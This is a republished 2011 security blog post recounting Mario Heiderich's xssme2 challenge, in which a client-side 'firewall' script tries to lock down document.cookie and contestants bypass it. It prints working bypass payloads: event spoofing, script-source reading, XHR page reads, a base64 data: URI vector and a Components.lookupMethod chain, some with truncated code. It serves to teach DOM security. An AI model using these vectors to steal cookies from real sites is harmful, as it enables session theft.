Over a million developers have joined DZone.

The Sad State of DOM Security (or how we all ruled Mario's challenge)

DZone's Guide to

The Sad State of DOM Security (or how we all ruled Mario's challenge)

Free Resource

Start coding today to experience the powerful engine that drives data application’s development, brought to you in partnership with Qlik.

A few days ago Mario Heiderich posted second installment of his xssme challenges (viewable in Firefox only for now). But it wasn't a usual challenge. The goal was not to execute your Javascript - it was to get access to the DOM object property (document.cookie) without user interaction. In fact, the payload wasn't filtered at all.

My precious!

This goes along Mario's work on locking DOM and XSS eradication attempt. The concept is that server side filtering for XSS will eventually fail if you need to accept HTML. Further on - sometimes Javascript code should be accepted from the client (mashups are everywhere!), instead we want it to run inside a sandbox, limiting access to some crucial properties (location, cookie, window, some tokens, our internal application object etc.). That's basically what Google Caja tries to achieve server-side. But server does not know about all those browser quirks, parsing issues - it's a different environment after all.

So if a total XSS eradication is possible - it has to be client-side, in the browser. Of course, this requires some support from the browser and the most common weapon is ECMAScript 5 Object.defineProperty() and friends. Basically, it allows you to redefine a property of an object (say, document.cookie) with your own implementation and lock it down so further redefines are not possible.

In theory, it's great. You insert some Javascript code, locking down your precious DOM assets, then you can output unmodified client's code which is already operating in a controlled, sandboxed environment - and you're done. In theory. Read on!

What an event that was!

Mario started with this approach - he prepared a  'firewall' script and below displayed user-supplied HTML without any filtering. But first, only IE9+ and FF6+ were allowed (other browsers don't yet have all the features to lock the precious). In the firewall, he locked down document.cookie, leaving access to it only via a safe getter function. This safe getter function could only be called in via user click. IIRC, it looked like this:

    document.cookie = '123456-secret-123456'; // my precious
    var Safe = function() {
        var cookie = document.cookie; // reference to original
        this.get = function() {
            var ec = arguments.callee.caller;
            var ev = ec.arguments[0];
            if(ec && ev.isTrusted === true
                  && ev.type=='click') { // allow calling only from click events
                return cookie;
            return null;
    Object.defineProperty(window, 'Safe', {
        value: new Safe, configurable:false}
    ); // Safe cannot be overridden
    Object.defineProperty(document, 'cookie', {value: null, configurable: false}); // nullify and seal the original cookie
<button id="safe123" onclick="alert(Safe.get())">Access document.cookie safely -- the legit way</button>

So we're done, right-o? No! You could spoof the event, call the getter and get the cookie.

function b() { return Safe.get(); }
alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); // call b({type:'click',isTrusted:true})

Solution? Make sure that the event is not spoofed by using instanceof yet another locked down object. That was also bypassed in many ways (look for event in bypass list), leading to other lockdowns.

I can read!


Another approach was to simply retrieve the script text from document source (after all, it's all in the same origin) - brilliant:

// one
// two
// three
var script = document.getElementsByTagName('script')[0];
var clone = script.childNodes[0].cloneNode(true);
var ta = document.createElement('textarea'); ta.appendChild(clone);
alert(ta.value.match(/cookie = '(.*?)'/)[1])

and similar (Authors, please contact me for credits!). The issue here is that client-side, same-origin I can read my own document, including the source code of the script containing the precious cookie.

Fix? Disallow a bunch of node reading functions - so even more locks to add.

We're on the web!

Speaking of reading - isn't the webpage just a blob of text content? Maybe there is a way to read webpage HTML without even interpreting it? Of course there is - it was for years. XMLHttpRequest. So there were multiple side-channel vectors that just read the original URL and extracted the cookie from responseText.

var request = new XMLHttpRequest();
request.open('GET', 'http://html5sec.org/xssme2', false);
if (request.status == 200){alert(request.responseText.substr(150,41));}

Solution? Disallow XHR (and all it's other forms). Then this happened:

x.onload=function(){window.frames[0].document.write("<script>r=new XMLHttpRequest();r.open('GET','http://html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>")};

 and the challenge moved to the separate domain so that one could not attack via another page which was in same origin. And then hell broke loose.

The great escape

People started to load javascript in iframes. These got quickly disabled:

html.body.innerHTML = x;
for (var i in j = html.querySelectorAll('iframe,object,embed')) {
    try {j[i].src = 'javascript:""';j[i].data = 'javascript:""'}
    catch (e) {}

Then Mario took another approach to lockdown and created the separate document, replacing the original to lose even his own origin (a brilliant code btw):

if (document.head.parentNode.id !== 'sanitized') {
    document.write('<plaintext id=test>');
    var test = document.getElementById('test');
        var x = test.innerHTML;
        var j = null;
        var html = document.implementation.createHTMLDocument(
            'http://www.w3.org/1999/xhtml', 'html', null
        html.body.innerHTML = x;
        document.write('<!doctype html><html id="sanitized"><head>'
         + document.head.innerHTML + '</head><body>'
         + html.body.innerHTML + '</body></html>');

But still, as of now, two bypasses work. Gareth Heyes salty bypass and mine.

Mine is using the data: uri with a HTML document that loads the original page via XHR (possible because of Firefox's weird assumption that data: documents are of the same origin as the calling page). Gareth uses proprietary Firefox Components.lookupMethod and gets the original native objects that were supposed to be locked down.

// Mine - use XHR in data:uri
location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1
Lio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; // base 64 is: <script>x=new XMLHttpRequest();x.open("GET","http://xssme.html5sec.org/xssme2/",true);x.onload=function()
{ alert(x.responseText.match(/document.cookie = '(.*?)'/)[1])};x.send(null);</script> // Gareth - use unlockable Components.lookupMethod alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),
'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/cookie.*'/));

Solution? None for now. I guess the location is going to be locked down to beat my vector, but Salty Bypass looks flawless.

The sad state of DOM security

Current matters are that the DOM security is in a very poor state. In the end, to be able to lock down a single DOM property Mario - one of the best men for this job on the planet - had to:

  • agree to browser limits (currently only a single browser is in-scope, the challenge is not even working in Chrome)
  • lock down almost everything, including XHR, window, document
  • disallow user interaction
  • disallow reading the contents of the page
  • disallow iframes, object & embeds (so no Youtube movies :( )
  • deal with multiple browser quirks
  • deal with side channels
  • get the challenge on a separate subdomain
  • reload the whole page in new origin

Then a few dozen people sit down, make up the weirdest vectors and make all of this still bypassable :(

And yet we all rule

This post though comes as a salute to all you guys involved! We all rule!

  • Mario rules for coming up with all these countermeasures (remember - it's much tougher to defend)
  • All the contestants rule for bypassing them one after another (I've learned tons of new tricks from others)
  • The challenge rules as it showed exactly what is the current state of DOM security and what needs to be fixed
  • Javascript rules for making all of this possible
  • and Firefox rules for all its quirky bypasses ;)

From http://blog.kotowicz.net/2011/10/sad-state-of-dom-security-or-how-we-all.html

Create data driven applications in Qlik’s free and easy to use coding environment, brought to you in partnership with Qlik.


Opinions expressed by DZone contributors are their own.


Dev Resources & Solutions Straight to Your Inbox

Thanks for subscribing!

Awesome! Check your inbox to verify your email so you can start receiving the latest in tech news and resources.


{{ parent.title || parent.header.title}}

{{ parent.tldr }}

{{ parent.urlSource.name }}